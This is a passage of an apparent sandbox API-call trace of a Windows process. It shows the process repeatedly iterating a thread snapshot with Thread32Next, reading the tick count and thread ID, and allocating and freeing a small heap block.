(hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.667] GetTickCount () returned 0x1134df2 [0118.667] GetCurrentThreadId () returned 0x614 [0118.667] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.667] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.667] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.667] GetTickCount () returned 0x1134df2 [0118.667] GetCurrentThreadId () returned 0x614 [0118.667] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.667] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.667] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.668] GetTickCount () returned 0x1134df2 [0118.668] GetCurrentThreadId () returned 0x614 [0118.668] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.668] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.668] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.669] GetTickCount () returned 0x1134df2 [0118.669] GetCurrentThreadId () returned 0x614 [0118.669] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.669] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.669] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.670] GetTickCount () returned 0x1134df2 [0118.670] GetCurrentThreadId () returned 0x614 [0118.670] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.670] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.670] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.670] GetTickCount () returned 0x1134df2 [0118.670] GetCurrentThreadId () returned 0x614 [0118.670] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.670] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.670] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.672] GetTickCount () returned 0x1134e01 [0118.672] GetCurrentThreadId () returned 0x614 [0118.672] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.672] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.672] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.672] GetTickCount () returned 0x1134e01 [0118.672] GetCurrentThreadId () returned 0x614 [0118.672] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.672] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.672] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.673] GetTickCount () returned 0x1134e01 [0118.673] GetCurrentThreadId () returned 0x614 [0118.673] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.673] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.673] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.674] GetTickCount () returned 0x1134e01 [0118.674] GetCurrentThreadId () returned 0x614 [0118.674] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.674] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.674] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.675] GetTickCount () returned 0x1134e01 [0118.675] GetCurrentThreadId () returned 0x614 [0118.675] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.675] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.675] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.675] GetTickCount () returned 0x1134e01 [0118.675] GetCurrentThreadId () returned 0x614 [0118.675] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.675] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.676] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.676] GetTickCount () returned 0x1134e01 [0118.676] GetCurrentThreadId () returned 0x614 [0118.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.676] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.676] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.677] GetTickCount () returned 0x1134e01 [0118.677] GetCurrentThreadId () returned 0x614 [0118.677] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.677] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.677] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.678] GetTickCount () returned 0x1134e01 [0118.678] GetCurrentThreadId () returned 0x614 [0118.678] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.678] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.678] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.678] GetTickCount () returned 0x1134e01 [0118.678] GetCurrentThreadId () returned 0x614 [0118.678] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.678] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.678] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.679] GetTickCount () returned 0x1134e01 [0118.679] GetCurrentThreadId () returned 0x614 [0118.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.679] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.679] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.680] GetTickCount () returned 0x1134e01 [0118.680] GetCurrentThreadId () returned 0x614 [0118.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.680] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.680] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.680] GetTickCount () returned 0x1134e01 [0118.681] GetCurrentThreadId () returned 0x614 [0118.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.681] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.681] GetTickCount () returned 0x1134e01 [0118.681] GetCurrentThreadId () returned 0x614 [0118.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.681] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.682] GetTickCount () returned 0x1134e01 [0118.682] GetCurrentThreadId () returned 0x614 [0118.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.682] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.682] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.683] GetTickCount () returned 0x1134e01 [0118.683] GetCurrentThreadId () returned 0x614 [0118.683] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.683] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.683] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.683] GetTickCount () returned 0x1134e01 [0118.683] GetCurrentThreadId () returned 0x614 [0118.683] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.683] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.683] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.684] GetTickCount () returned 0x1134e01 [0118.684] GetCurrentThreadId () returned 0x614 [0118.684] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.684] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.684] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.685] GetTickCount () returned 0x1134e01 [0118.685] GetCurrentThreadId () returned 0x614 [0118.685] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.685] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.685] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.687] GetTickCount () returned 0x1134e11 [0118.687] GetCurrentThreadId () returned 0x614 [0118.687] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.687] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.687] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.688] GetTickCount () returned 0x1134e11 [0118.688] GetCurrentThreadId () returned 0x614 [0118.688] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.688] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.688] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.689] GetTickCount () returned 0x1134e11 [0118.689] GetCurrentThreadId () returned 0x614 [0118.689] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.689] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.689] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.689] GetTickCount () returned 0x1134e11 [0118.690] GetCurrentThreadId () returned 0x614 [0118.690] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.690] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.690] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.690] GetTickCount () returned 0x1134e11 [0118.690] GetCurrentThreadId () returned 0x614 [0118.690] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.690] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.690] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.691] GetTickCount () returned 0x1134e11 [0118.691] GetCurrentThreadId () returned 0x614 [0118.691] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.691] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.691] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.692] GetTickCount () returned 0x1134e11 [0118.692] GetCurrentThreadId () returned 0x614 [0118.692] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.692] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.692] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.693] GetTickCount () returned 0x1134e11 [0118.693] GetCurrentThreadId () returned 0x614 [0118.693] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.693] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.693] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.693] GetTickCount () returned 0x1134e11 [0118.693] GetCurrentThreadId () returned 0x614 [0118.693] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.693] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.693] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.694] GetTickCount () returned 0x1134e11 [0118.694] GetCurrentThreadId () returned 0x614 [0118.694] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.694] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.694] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.695] GetTickCount () returned 0x1134e11 [0118.695] GetCurrentThreadId () returned 0x614 [0118.695] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.695] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.695] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.696] GetTickCount () returned 0x1134e11 [0118.696] GetCurrentThreadId () returned 0x614 [0118.696] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.696] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.696] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.697] GetTickCount () returned 0x1134e11 [0118.697] GetCurrentThreadId () returned 0x614 [0118.697] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.698] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.698] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.698] GetTickCount () returned 0x1134e11 [0118.698] GetCurrentThreadId () returned 0x614 [0118.698] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.698] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.698] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.699] GetTickCount () returned 0x1134e11 [0118.699] GetCurrentThreadId () returned 0x614 [0118.699] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.699] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.699] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.700] GetTickCount () returned 0x1134e11 [0118.700] GetCurrentThreadId () returned 0x614 [0118.700] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.700] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.700] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.700] GetTickCount () returned 0x1134e11 [0118.700] GetCurrentThreadId () returned 0x614 [0118.700] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.700] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.700] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.701] GetTickCount () returned 0x1134e11 [0118.701] GetCurrentThreadId () returned 0x614 [0118.701] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.701] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.701] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.702] GetTickCount () returned 0x1134e11 [0118.702] GetCurrentThreadId () returned 0x614 [0118.702] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.702] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.702] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.703] GetTickCount () returned 0x1134e21 [0118.703] GetCurrentThreadId () returned 0x614 [0118.703] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.703] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.703] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.703] GetTickCount () returned 0x1134e21 [0118.703] GetCurrentThreadId () returned 0x614 [0118.703] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.703] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.703] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.704] GetTickCount () returned 0x1134e21 [0118.704] GetCurrentThreadId () returned 0x614 [0118.704] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.704] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.704] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.705] GetTickCount () returned 0x1134e21 [0118.705] GetCurrentThreadId () returned 0x614 [0118.705] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.705] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.705] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.705] GetTickCount () returned 0x1134e21 [0118.705] GetCurrentThreadId () returned 0x614 [0118.705] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.705] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.705] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.706] GetTickCount () returned 0x1134e21 [0118.706] GetCurrentThreadId () returned 0x614 [0118.706] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.706] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.706] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.707] GetTickCount () returned 0x1134e21 [0118.707] GetCurrentThreadId () returned 0x614 [0118.707] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.707] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.707] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.708] GetTickCount () returned 0x1134e21 [0118.708] GetCurrentThreadId () returned 0x614 [0118.708] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.708] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.708] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.708] GetTickCount () returned 0x1134e21 [0118.708] GetCurrentThreadId () returned 0x614 [0118.708] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.709] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.709] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.709] GetTickCount () returned 0x1134e21 [0118.709] GetCurrentThreadId () returned 0x614 [0118.709] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.709] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.709] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.710] GetTickCount () returned 0x1134e21 [0118.710] GetCurrentThreadId () returned 0x614 [0118.710] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.710] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.710] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.711] GetTickCount () returned 0x1134e21 [0118.711] GetCurrentThreadId () returned 0x614 [0118.711] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.711] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.711] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.712] GetTickCount () returned 0x1134e21 [0118.712] GetCurrentThreadId () returned 0x614 [0118.712] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.712] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.712] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.712] GetTickCount () returned 0x1134e21 [0118.712] GetCurrentThreadId () returned 0x614 [0118.712] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.712] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.712] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.713] GetTickCount () returned 0x1134e21 [0118.713] GetCurrentThreadId () returned 0x614 [0118.713] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.713] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.713] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.714] GetTickCount () returned 0x1134e21 [0118.714] GetCurrentThreadId () returned 0x614 [0118.714] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.714] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.714] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.715] GetTickCount () returned 0x1134e21 [0118.715] GetCurrentThreadId () returned 0x614 [0118.715] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.715] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.715] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.715] GetTickCount () returned 0x1134e21 [0118.715] GetCurrentThreadId () returned 0x614 [0118.715] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.716] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.716] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.716] GetTickCount () returned 0x1134e21 [0118.716] GetCurrentThreadId () returned 0x614 [0118.716] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.716] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.716] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.717] GetTickCount () returned 0x1134e21 [0118.717] GetCurrentThreadId () returned 0x614 [0118.717] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.717] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.717] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.718] GetTickCount () returned 0x1134e30 [0118.718] GetCurrentThreadId () returned 0x614 [0118.718] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.719] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.719] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.719] GetTickCount () returned 0x1134e30 [0118.719] GetCurrentThreadId () returned 0x614 [0118.719] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.719] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.719] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.720] GetTickCount () returned 0x1134e30 [0118.720] GetCurrentThreadId () returned 0x614 [0118.720] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.720] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.720] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.721] GetTickCount () returned 0x1134e30 [0118.721] GetCurrentThreadId () returned 0x614 [0118.721] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.721] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.721] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.721] GetTickCount () returned 0x1134e30 [0118.721] GetCurrentThreadId () returned 0x614 [0118.721] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.721] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.721] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.722] GetTickCount () returned 0x1134e30 [0118.722] GetCurrentThreadId () returned 0x614 [0118.722] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.722] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.722] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.723] GetTickCount () returned 0x1134e30 [0118.723] GetCurrentThreadId () returned 0x614 [0118.723] 